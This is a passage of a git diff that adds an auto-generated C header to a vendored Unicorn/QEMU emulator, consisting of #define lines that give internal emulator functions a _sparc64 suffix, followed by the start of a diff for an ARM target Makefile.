stb_p_sparc64 +#define stb_phys stb_phys_sparc64 +#define stl_be_p stl_be_p_sparc64 +#define stl_be_phys stl_be_phys_sparc64 +#define stl_he_p stl_he_p_sparc64 +#define stl_le_p stl_le_p_sparc64 +#define stl_le_phys stl_le_phys_sparc64 +#define stl_phys stl_phys_sparc64 +#define stl_phys_internal stl_phys_internal_sparc64 +#define stl_phys_notdirty stl_phys_notdirty_sparc64 +#define store_cpu_offset store_cpu_offset_sparc64 +#define store_reg store_reg_sparc64 +#define store_reg_bx store_reg_bx_sparc64 +#define store_reg_from_load store_reg_from_load_sparc64 +#define stq_be_p stq_be_p_sparc64 +#define stq_be_phys stq_be_phys_sparc64 +#define stq_he_p stq_he_p_sparc64 +#define stq_le_p stq_le_p_sparc64 +#define stq_le_phys stq_le_phys_sparc64 +#define stq_phys stq_phys_sparc64 +#define string_input_get_visitor string_input_get_visitor_sparc64 +#define string_input_visitor_cleanup string_input_visitor_cleanup_sparc64 +#define string_input_visitor_new string_input_visitor_new_sparc64 +#define strongarm_cp_reginfo strongarm_cp_reginfo_sparc64 +#define strstart strstart_sparc64 +#define strtosz strtosz_sparc64 +#define strtosz_suffix strtosz_suffix_sparc64 +#define stw_be_p stw_be_p_sparc64 +#define stw_be_phys stw_be_phys_sparc64 +#define stw_he_p stw_he_p_sparc64 +#define stw_le_p stw_le_p_sparc64 +#define stw_le_phys stw_le_phys_sparc64 +#define stw_phys stw_phys_sparc64 +#define stw_phys_internal stw_phys_internal_sparc64 +#define sub128 sub128_sparc64 +#define sub16_sat sub16_sat_sparc64 +#define sub16_usat sub16_usat_sparc64 +#define sub192 sub192_sparc64 +#define sub8_sat sub8_sat_sparc64 +#define sub8_usat sub8_usat_sparc64 +#define subFloat128Sigs subFloat128Sigs_sparc64 +#define subFloat32Sigs subFloat32Sigs_sparc64 +#define subFloat64Sigs subFloat64Sigs_sparc64 +#define subFloatx80Sigs subFloatx80Sigs_sparc64 +#define subpage_accepts subpage_accepts_sparc64 +#define subpage_init subpage_init_sparc64 +#define subpage_ops subpage_ops_sparc64 +#define subpage_read subpage_read_sparc64 +#define subpage_register subpage_register_sparc64 +#define subpage_write subpage_write_sparc64 +#define suffix_mul suffix_mul_sparc64 +#define swap_commutative swap_commutative_sparc64 +#define swap_commutative2 swap_commutative2_sparc64 +#define switch_mode switch_mode_sparc64 +#define switch_v7m_sp switch_v7m_sp_sparc64 +#define syn_aa32_bkpt syn_aa32_bkpt_sparc64 +#define syn_aa32_hvc syn_aa32_hvc_sparc64 +#define syn_aa32_smc syn_aa32_smc_sparc64 +#define syn_aa32_svc syn_aa32_svc_sparc64 +#define syn_breakpoint syn_breakpoint_sparc64 +#define sync_globals sync_globals_sparc64 +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_sparc64 +#define syn_cp14_rt_trap syn_cp14_rt_trap_sparc64 +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_sparc64 +#define syn_cp15_rt_trap syn_cp15_rt_trap_sparc64 +#define syn_data_abort syn_data_abort_sparc64 +#define syn_fp_access_trap syn_fp_access_trap_sparc64 +#define syn_insn_abort syn_insn_abort_sparc64 +#define syn_swstep syn_swstep_sparc64 +#define syn_uncategorized syn_uncategorized_sparc64 +#define syn_watchpoint syn_watchpoint_sparc64 +#define syscall_err syscall_err_sparc64 +#define system_bus_class_init system_bus_class_init_sparc64 +#define system_bus_info system_bus_info_sparc64 +#define t2ee_cp_reginfo t2ee_cp_reginfo_sparc64 +#define table_logic_cc table_logic_cc_sparc64 +#define target_parse_constraint target_parse_constraint_sparc64 +#define target_words_bigendian target_words_bigendian_sparc64 +#define tb_add_jump tb_add_jump_sparc64 +#define tb_alloc tb_alloc_sparc64 +#define tb_alloc_page tb_alloc_page_sparc64 +#define tb_check_watchpoint tb_check_watchpoint_sparc64 +#define tb_find_fast tb_find_fast_sparc64 +#define tb_find_pc tb_find_pc_sparc64 +#define tb_find_slow tb_find_slow_sparc64 +#define tb_flush tb_flush_sparc64 +#define tb_flush_jmp_cache tb_flush_jmp_cache_sparc64 +#define tb_free tb_free_sparc64 +#define tb_gen_code tb_gen_code_sparc64 +#define tb_hash_remove tb_hash_remove_sparc64 +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_sparc64 +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_sparc64 +#define tb_invalidate_phys_range tb_invalidate_phys_range_sparc64 +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_sparc64 +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_sparc64 +#define tb_jmp_remove tb_jmp_remove_sparc64 +#define tb_link_page tb_link_page_sparc64 +#define tb_page_remove tb_page_remove_sparc64 +#define tb_phys_hash_func tb_phys_hash_func_sparc64 +#define tb_phys_invalidate tb_phys_invalidate_sparc64 +#define tb_reset_jump tb_reset_jump_sparc64 +#define tb_set_jmp_target tb_set_jmp_target_sparc64 +#define tcg_accel_class_init tcg_accel_class_init_sparc64 +#define tcg_accel_type tcg_accel_type_sparc64 +#define tcg_add_param_i32 tcg_add_param_i32_sparc64 +#define tcg_add_param_i64 tcg_add_param_i64_sparc64 +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_sparc64 +#define tcg_allowed tcg_allowed_sparc64 +#define tcg_canonicalize_memop tcg_canonicalize_memop_sparc64 +#define tcg_commit tcg_commit_sparc64 +#define tcg_cond_to_jcc tcg_cond_to_jcc_sparc64 +#define tcg_constant_folding tcg_constant_folding_sparc64 +#define tcg_const_i32 tcg_const_i32_sparc64 +#define tcg_const_i64 tcg_const_i64_sparc64 +#define tcg_const_local_i32 tcg_const_local_i32_sparc64 +#define tcg_const_local_i64 tcg_const_local_i64_sparc64 +#define tcg_context_init tcg_context_init_sparc64 +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_sparc64 +#define tcg_cpu_exec tcg_cpu_exec_sparc64 +#define tcg_current_code_size tcg_current_code_size_sparc64 +#define tcg_dump_info tcg_dump_info_sparc64 +#define tcg_dump_ops tcg_dump_ops_sparc64 +#define tcg_exec_all tcg_exec_all_sparc64 +#define tcg_find_helper tcg_find_helper_sparc64 +#define tcg_func_start tcg_func_start_sparc64 +#define tcg_gen_abs_i32 tcg_gen_abs_i32_sparc64 +#define tcg_gen_add2_i32 tcg_gen_add2_i32_sparc64 +#define tcg_gen_add_i32 tcg_gen_add_i32_sparc64 +#define tcg_gen_add_i64 tcg_gen_add_i64_sparc64 +#define tcg_gen_addi_i32 tcg_gen_addi_i32_sparc64 +#define tcg_gen_addi_i64 tcg_gen_addi_i64_sparc64 +#define tcg_gen_andc_i32 tcg_gen_andc_i32_sparc64 +#define tcg_gen_and_i32 tcg_gen_and_i32_sparc64 +#define tcg_gen_and_i64 tcg_gen_and_i64_sparc64 +#define tcg_gen_andi_i32 tcg_gen_andi_i32_sparc64 +#define tcg_gen_andi_i64 tcg_gen_andi_i64_sparc64 +#define tcg_gen_br tcg_gen_br_sparc64 +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_sparc64 +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_sparc64 +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_sparc64 +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_sparc64 +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_sparc64 +#define tcg_gen_callN tcg_gen_callN_sparc64 +#define tcg_gen_code tcg_gen_code_sparc64 +#define tcg_gen_code_common tcg_gen_code_common_sparc64 +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_sparc64 +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_sparc64 +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_sparc64 +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_sparc64 +#define tcg_gen_exit_tb tcg_gen_exit_tb_sparc64 +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_sparc64 +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_sparc64 +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_sparc64 +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_sparc64 +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_sparc64 +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_sparc64 +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_sparc64 +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_sparc64 +#define tcg_gen_goto_tb tcg_gen_goto_tb_sparc64 +#define tcg_gen_ld_i32 tcg_gen_ld_i32_sparc64 +#define tcg_gen_ld_i64 tcg_gen_ld_i64_sparc64 +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_sparc64 +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_sparc64 +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_sparc64 +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_sparc64 +#define tcg_gen_mov_i32 tcg_gen_mov_i32_sparc64 +#define tcg_gen_mov_i64 tcg_gen_mov_i64_sparc64 +#define tcg_gen_movi_i32 tcg_gen_movi_i32_sparc64 +#define tcg_gen_movi_i64 tcg_gen_movi_i64_sparc64 +#define tcg_gen_mul_i32 tcg_gen_mul_i32_sparc64 +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_sparc64 +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_sparc64 +#define tcg_gen_neg_i32 tcg_gen_neg_i32_sparc64 +#define tcg_gen_neg_i64 tcg_gen_neg_i64_sparc64 +#define tcg_gen_not_i32 tcg_gen_not_i32_sparc64 +#define tcg_gen_op0 tcg_gen_op0_sparc64 +#define tcg_gen_op1i tcg_gen_op1i_sparc64 +#define tcg_gen_op2_i32 tcg_gen_op2_i32_sparc64 +#define tcg_gen_op2_i64 tcg_gen_op2_i64_sparc64 +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_sparc64 +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_sparc64 +#define tcg_gen_op3_i32 tcg_gen_op3_i32_sparc64 +#define tcg_gen_op3_i64 tcg_gen_op3_i64_sparc64 +#define tcg_gen_op4_i32 tcg_gen_op4_i32_sparc64 +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_sparc64 +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_sparc64 +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_sparc64 +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_sparc64 +#define tcg_gen_op6_i32 tcg_gen_op6_i32_sparc64 +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_sparc64 +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_sparc64 +#define tcg_gen_orc_i32 tcg_gen_orc_i32_sparc64 +#define tcg_gen_or_i32 tcg_gen_or_i32_sparc64 +#define tcg_gen_or_i64 tcg_gen_or_i64_sparc64 +#define tcg_gen_ori_i32 tcg_gen_ori_i32_sparc64 +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_sparc64 +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_sparc64 +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_sparc64 +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_sparc64 +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_sparc64 +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_sparc64 +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_sparc64 +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_sparc64 +#define tcg_gen_sar_i32 tcg_gen_sar_i32_sparc64 +#define tcg_gen_sari_i32 tcg_gen_sari_i32_sparc64 +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_sparc64 +#define tcg_gen_shl_i32 tcg_gen_shl_i32_sparc64 +#define tcg_gen_shl_i64 tcg_gen_shl_i64_sparc64 +#define tcg_gen_shli_i32 tcg_gen_shli_i32_sparc64 +#define tcg_gen_shli_i64 tcg_gen_shli_i64_sparc64 +#define tcg_gen_shr_i32 tcg_gen_shr_i32_sparc64 +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_sparc64 +#define tcg_gen_shr_i64 tcg_gen_shr_i64_sparc64 +#define tcg_gen_shri_i32 tcg_gen_shri_i32_sparc64 +#define tcg_gen_shri_i64 tcg_gen_shri_i64_sparc64 +#define tcg_gen_st_i32 tcg_gen_st_i32_sparc64 +#define tcg_gen_st_i64 tcg_gen_st_i64_sparc64 +#define tcg_gen_sub_i32 tcg_gen_sub_i32_sparc64 +#define tcg_gen_sub_i64 tcg_gen_sub_i64_sparc64 +#define tcg_gen_subi_i32 tcg_gen_subi_i32_sparc64 +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_sparc64 +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_sparc64 +#define tcg_gen_xor_i32 tcg_gen_xor_i32_sparc64 +#define tcg_gen_xor_i64 tcg_gen_xor_i64_sparc64 +#define tcg_gen_xori_i32 tcg_gen_xori_i32_sparc64 +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_sparc64 +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_sparc64 +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_sparc64 +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_sparc64 +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_sparc64 +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_sparc64 +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_sparc64 +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_sparc64 +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_sparc64 +#define tcg_handle_interrupt tcg_handle_interrupt_sparc64 +#define tcg_init tcg_init_sparc64 +#define tcg_invert_cond tcg_invert_cond_sparc64 +#define tcg_la_bb_end tcg_la_bb_end_sparc64 +#define tcg_la_br_end tcg_la_br_end_sparc64 +#define tcg_la_func_end tcg_la_func_end_sparc64 +#define tcg_liveness_analysis tcg_liveness_analysis_sparc64 +#define tcg_malloc tcg_malloc_sparc64 +#define tcg_malloc_internal tcg_malloc_internal_sparc64 +#define tcg_op_defs_org tcg_op_defs_org_sparc64 +#define tcg_opt_gen_mov tcg_opt_gen_mov_sparc64 +#define tcg_opt_gen_movi tcg_opt_gen_movi_sparc64 +#define tcg_optimize tcg_optimize_sparc64 +#define tcg_out16 tcg_out16_sparc64 +#define tcg_out32 tcg_out32_sparc64 +#define tcg_out64 tcg_out64_sparc64 +#define tcg_out8 tcg_out8_sparc64 +#define tcg_out_addi tcg_out_addi_sparc64 +#define tcg_out_branch tcg_out_branch_sparc64 +#define tcg_out_brcond32 tcg_out_brcond32_sparc64 +#define tcg_out_brcond64 tcg_out_brcond64_sparc64 +#define tcg_out_bswap32 tcg_out_bswap32_sparc64 +#define tcg_out_bswap64 tcg_out_bswap64_sparc64 +#define tcg_out_call tcg_out_call_sparc64 +#define tcg_out_cmp tcg_out_cmp_sparc64 +#define tcg_out_ext16s tcg_out_ext16s_sparc64 +#define tcg_out_ext16u tcg_out_ext16u_sparc64 +#define tcg_out_ext32s tcg_out_ext32s_sparc64 +#define tcg_out_ext32u tcg_out_ext32u_sparc64 +#define tcg_out_ext8s tcg_out_ext8s_sparc64 +#define tcg_out_ext8u tcg_out_ext8u_sparc64 +#define tcg_out_jmp tcg_out_jmp_sparc64 +#define tcg_out_jxx tcg_out_jxx_sparc64 +#define tcg_out_label tcg_out_label_sparc64 +#define tcg_out_ld tcg_out_ld_sparc64 +#define tcg_out_modrm tcg_out_modrm_sparc64 +#define tcg_out_modrm_offset tcg_out_modrm_offset_sparc64 +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_sparc64 +#define tcg_out_mov tcg_out_mov_sparc64 +#define tcg_out_movcond32 tcg_out_movcond32_sparc64 +#define tcg_out_movcond64 tcg_out_movcond64_sparc64 +#define tcg_out_movi tcg_out_movi_sparc64 +#define tcg_out_op tcg_out_op_sparc64 +#define tcg_out_pop tcg_out_pop_sparc64 +#define tcg_out_push tcg_out_push_sparc64 +#define tcg_out_qemu_ld tcg_out_qemu_ld_sparc64 +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_sparc64 +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_sparc64 +#define tcg_out_qemu_st tcg_out_qemu_st_sparc64 +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_sparc64 +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_sparc64 +#define tcg_out_reloc tcg_out_reloc_sparc64 +#define tcg_out_rolw_8 tcg_out_rolw_8_sparc64 +#define tcg_out_setcond32 tcg_out_setcond32_sparc64 +#define tcg_out_setcond64 tcg_out_setcond64_sparc64 +#define tcg_out_shifti tcg_out_shifti_sparc64 +#define tcg_out_st tcg_out_st_sparc64 +#define tcg_out_tb_finalize tcg_out_tb_finalize_sparc64 +#define tcg_out_tb_init tcg_out_tb_init_sparc64 +#define tcg_out_tlb_load tcg_out_tlb_load_sparc64 +#define tcg_out_vex_modrm tcg_out_vex_modrm_sparc64 +#define tcg_patch32 tcg_patch32_sparc64 +#define tcg_patch8 tcg_patch8_sparc64 +#define tcg_pcrel_diff tcg_pcrel_diff_sparc64 +#define tcg_pool_reset tcg_pool_reset_sparc64 +#define tcg_prologue_init tcg_prologue_init_sparc64 +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_sparc64 +#define tcg_reg_alloc tcg_reg_alloc_sparc64 +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_sparc64 +#define tcg_reg_alloc_call tcg_reg_alloc_call_sparc64 +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_sparc64 +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_sparc64 +#define tcg_reg_alloc_op tcg_reg_alloc_op_sparc64 +#define tcg_reg_alloc_start tcg_reg_alloc_start_sparc64 +#define tcg_reg_free tcg_reg_free_sparc64 +#define tcg_reg_sync tcg_reg_sync_sparc64 +#define tcg_set_frame tcg_set_frame_sparc64 +#define tcg_set_nop tcg_set_nop_sparc64 +#define tcg_swap_cond tcg_swap_cond_sparc64 +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_sparc64 +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_sparc64 +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_sparc64 +#define tcg_target_const_match tcg_target_const_match_sparc64 +#define tcg_target_init tcg_target_init_sparc64 +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_sparc64 +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_sparc64 +#define tcg_temp_alloc tcg_temp_alloc_sparc64 +#define tcg_temp_free_i32 tcg_temp_free_i32_sparc64 +#define tcg_temp_free_i64 tcg_temp_free_i64_sparc64 +#define tcg_temp_free_internal tcg_temp_free_internal_sparc64 +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_sparc64 +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_sparc64 +#define tcg_temp_new_i32 tcg_temp_new_i32_sparc64 +#define tcg_temp_new_i64 tcg_temp_new_i64_sparc64 +#define tcg_temp_new_internal tcg_temp_new_internal_sparc64 +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_sparc64 +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_sparc64 +#define tdb_hash tdb_hash_sparc64 +#define teecr_write teecr_write_sparc64 +#define teehbr_access teehbr_access_sparc64 +#define temp_allocate_frame temp_allocate_frame_sparc64 +#define temp_dead temp_dead_sparc64 +#define temps_are_copies temps_are_copies_sparc64 +#define temp_save temp_save_sparc64 +#define temp_sync temp_sync_sparc64 +#define tgen_arithi tgen_arithi_sparc64 +#define tgen_arithr tgen_arithr_sparc64 +#define thumb2_logic_op thumb2_logic_op_sparc64 +#define ti925t_initfn ti925t_initfn_sparc64 +#define tlb_add_large_page tlb_add_large_page_sparc64 +#define tlb_flush_entry tlb_flush_entry_sparc64 +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_sparc64 +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_sparc64 +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_sparc64 +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_sparc64 +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_sparc64 +#define tlbi_aa64_va_write tlbi_aa64_va_write_sparc64 +#define tlbiall_is_write tlbiall_is_write_sparc64 +#define tlbiall_write tlbiall_write_sparc64 +#define tlbiasid_is_write tlbiasid_is_write_sparc64 +#define tlbiasid_write tlbiasid_write_sparc64 +#define tlbimvaa_is_write tlbimvaa_is_write_sparc64 +#define tlbimvaa_write tlbimvaa_write_sparc64 +#define tlbimva_is_write tlbimva_is_write_sparc64 +#define tlbimva_write tlbimva_write_sparc64 +#define tlb_is_dirty_ram tlb_is_dirty_ram_sparc64 +#define tlb_protect_code tlb_protect_code_sparc64 +#define tlb_reset_dirty_range tlb_reset_dirty_range_sparc64 +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_sparc64 +#define tlb_set_dirty tlb_set_dirty_sparc64 +#define tlb_set_dirty1 tlb_set_dirty1_sparc64 +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_sparc64 +#define tlb_vaddr_to_host tlb_vaddr_to_host_sparc64 +#define token_get_type token_get_type_sparc64 +#define token_get_value token_get_value_sparc64 +#define token_is_escape token_is_escape_sparc64 +#define token_is_keyword token_is_keyword_sparc64 +#define token_is_operator token_is_operator_sparc64 +#define tokens_append_from_iter tokens_append_from_iter_sparc64 +#define to_qiv to_qiv_sparc64 +#define to_qov to_qov_sparc64 +#define tosa_init tosa_init_sparc64 +#define tosa_machine_init tosa_machine_init_sparc64 +#define tswap32 tswap32_sparc64 +#define tswap64 tswap64_sparc64 +#define type_class_get_size type_class_get_size_sparc64 +#define type_get_by_name type_get_by_name_sparc64 +#define type_get_parent type_get_parent_sparc64 +#define type_has_parent type_has_parent_sparc64 +#define type_initialize type_initialize_sparc64 +#define type_initialize_interface type_initialize_interface_sparc64 +#define type_is_ancestor type_is_ancestor_sparc64 +#define type_new type_new_sparc64 +#define type_object_get_size type_object_get_size_sparc64 +#define type_register_internal type_register_internal_sparc64 +#define type_table_add type_table_add_sparc64 +#define type_table_get type_table_get_sparc64 +#define type_table_lookup type_table_lookup_sparc64 +#define uint16_to_float32 uint16_to_float32_sparc64 +#define uint16_to_float64 uint16_to_float64_sparc64 +#define uint32_to_float32 uint32_to_float32_sparc64 +#define uint32_to_float64 uint32_to_float64_sparc64 +#define uint64_to_float128 uint64_to_float128_sparc64 +#define uint64_to_float32 uint64_to_float32_sparc64 +#define uint64_to_float64 uint64_to_float64_sparc64 +#define unassigned_io_ops unassigned_io_ops_sparc64 +#define unassigned_io_read unassigned_io_read_sparc64 +#define unassigned_io_write unassigned_io_write_sparc64 +#define unassigned_mem_accepts unassigned_mem_accepts_sparc64 +#define unassigned_mem_ops unassigned_mem_ops_sparc64 +#define unassigned_mem_read unassigned_mem_read_sparc64 +#define unassigned_mem_write unassigned_mem_write_sparc64 +#define update_spsel update_spsel_sparc64 +#define v6_cp_reginfo v6_cp_reginfo_sparc64 +#define v6k_cp_reginfo v6k_cp_reginfo_sparc64 +#define v7_cp_reginfo v7_cp_reginfo_sparc64 +#define v7mp_cp_reginfo v7mp_cp_reginfo_sparc64 +#define v7m_pop v7m_pop_sparc64 +#define v7m_push v7m_push_sparc64 +#define v8_cp_reginfo v8_cp_reginfo_sparc64 +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_sparc64 +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_sparc64 +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_sparc64 +#define vapa_cp_reginfo vapa_cp_reginfo_sparc64 +#define vbar_write vbar_write_sparc64 +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_sparc64 +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_sparc64 +#define vfp_get_fpcr vfp_get_fpcr_sparc64 +#define vfp_get_fpscr vfp_get_fpscr_sparc64 +#define vfp_get_fpsr vfp_get_fpsr_sparc64 +#define vfp_reg_offset vfp_reg_offset_sparc64 +#define vfp_set_fpcr vfp_set_fpcr_sparc64 +#define vfp_set_fpscr vfp_set_fpscr_sparc64 +#define vfp_set_fpsr vfp_set_fpsr_sparc64 +#define visit_end_implicit_struct visit_end_implicit_struct_sparc64 +#define visit_end_list visit_end_list_sparc64 +#define visit_end_struct visit_end_struct_sparc64 +#define visit_end_union visit_end_union_sparc64 +#define visit_get_next_type visit_get_next_type_sparc64 +#define visit_next_list visit_next_list_sparc64 +#define visit_optional visit_optional_sparc64 +#define visit_start_implicit_struct visit_start_implicit_struct_sparc64 +#define visit_start_list visit_start_list_sparc64 +#define visit_start_struct visit_start_struct_sparc64 +#define visit_start_union visit_start_union_sparc64 +#define vmsa_cp_reginfo vmsa_cp_reginfo_sparc64 +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_sparc64 +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_sparc64 +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_sparc64 +#define vmsa_ttbcr_write vmsa_ttbcr_write_sparc64 +#define vmsa_ttbr_write vmsa_ttbr_write_sparc64 +#define write_cpustate_to_list write_cpustate_to_list_sparc64 +#define write_list_to_cpustate write_list_to_cpustate_sparc64 +#define write_raw_cp_reg write_raw_cp_reg_sparc64 +#define X86CPURegister32_lookup X86CPURegister32_lookup_sparc64 +#define x86_op_defs x86_op_defs_sparc64 +#define xpsr_read xpsr_read_sparc64 +#define xpsr_write xpsr_write_sparc64 +#define xscale_cpar_write xscale_cpar_write_sparc64 +#define xscale_cp_reginfo xscale_cp_reginfo_sparc64 +#define cpu_sparc_exec cpu_sparc_exec_sparc64 +#define helper_compute_psr helper_compute_psr_sparc64 +#define helper_compute_C_icc helper_compute_C_icc_sparc64 +#define cpu_sparc_init cpu_sparc_init_sparc64 +#define cpu_sparc_set_id cpu_sparc_set_id_sparc64 +#define sparc_cpu_register_types sparc_cpu_register_types_sparc64 +#define helper_fadds helper_fadds_sparc64 +#define helper_faddd helper_faddd_sparc64 +#define helper_faddq helper_faddq_sparc64 +#define helper_fsubs helper_fsubs_sparc64 +#define helper_fsubd helper_fsubd_sparc64 +#define helper_fsubq helper_fsubq_sparc64 +#define helper_fmuls helper_fmuls_sparc64 +#define helper_fmuld helper_fmuld_sparc64 +#define helper_fmulq helper_fmulq_sparc64 +#define helper_fdivs helper_fdivs_sparc64 +#define helper_fdivd helper_fdivd_sparc64 +#define helper_fdivq helper_fdivq_sparc64 +#define helper_fsmuld helper_fsmuld_sparc64 +#define helper_fdmulq helper_fdmulq_sparc64 +#define helper_fnegs helper_fnegs_sparc64 +#define helper_fitos helper_fitos_sparc64 +#define helper_fitod helper_fitod_sparc64 +#define helper_fitoq helper_fitoq_sparc64 +#define helper_fdtos helper_fdtos_sparc64 +#define helper_fstod helper_fstod_sparc64 +#define helper_fqtos helper_fqtos_sparc64 +#define helper_fstoq helper_fstoq_sparc64 +#define helper_fqtod helper_fqtod_sparc64 +#define helper_fdtoq helper_fdtoq_sparc64 +#define helper_fstoi helper_fstoi_sparc64 +#define helper_fdtoi helper_fdtoi_sparc64 +#define helper_fqtoi helper_fqtoi_sparc64 +#define helper_fabss helper_fabss_sparc64 +#define helper_fsqrts helper_fsqrts_sparc64 +#define helper_fsqrtd helper_fsqrtd_sparc64 +#define helper_fsqrtq helper_fsqrtq_sparc64 +#define helper_fcmps helper_fcmps_sparc64 +#define helper_fcmpd helper_fcmpd_sparc64 +#define helper_fcmpes helper_fcmpes_sparc64 +#define helper_fcmped helper_fcmped_sparc64 +#define helper_fcmpq helper_fcmpq_sparc64 +#define helper_fcmpeq helper_fcmpeq_sparc64 +#define helper_ldfsr helper_ldfsr_sparc64 +#define helper_debug helper_debug_sparc64 +#define helper_udiv_cc helper_udiv_cc_sparc64 +#define helper_sdiv_cc helper_sdiv_cc_sparc64 +#define helper_taddcctv helper_taddcctv_sparc64 +#define helper_tsubcctv helper_tsubcctv_sparc64 +#define sparc_cpu_do_interrupt sparc_cpu_do_interrupt_sparc64 +#define helper_check_align helper_check_align_sparc64 +#define helper_ld_asi helper_ld_asi_sparc64 +#define helper_st_asi helper_st_asi_sparc64 +#define helper_cas_asi helper_cas_asi_sparc64 +#define helper_ldqf helper_ldqf_sparc64 +#define helper_stqf helper_stqf_sparc64 +#define sparc_cpu_unassigned_access sparc_cpu_unassigned_access_sparc64 +#define sparc_cpu_do_unaligned_access sparc_cpu_do_unaligned_access_sparc64 +#define sparc_cpu_handle_mmu_fault sparc_cpu_handle_mmu_fault_sparc64 +#define dump_mmu dump_mmu_sparc64 +#define sparc_cpu_get_phys_page_debug sparc_cpu_get_phys_page_debug_sparc64 +#define sparc_reg_reset sparc_reg_reset_sparc64 +#define sparc_reg_read sparc_reg_read_sparc64 +#define sparc_reg_write sparc_reg_write_sparc64 +#define gen_intermediate_code_init gen_intermediate_code_init_sparc64 +#define cpu_set_cwp cpu_set_cwp_sparc64 +#define cpu_get_psr cpu_get_psr_sparc64 +#define cpu_put_psr cpu_put_psr_sparc64 +#define cpu_cwp_inc cpu_cwp_inc_sparc64 +#define cpu_cwp_dec cpu_cwp_dec_sparc64 +#define helper_save helper_save_sparc64 +#define helper_restore helper_restore_sparc64 +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/Makefile.objs new file mode 100644 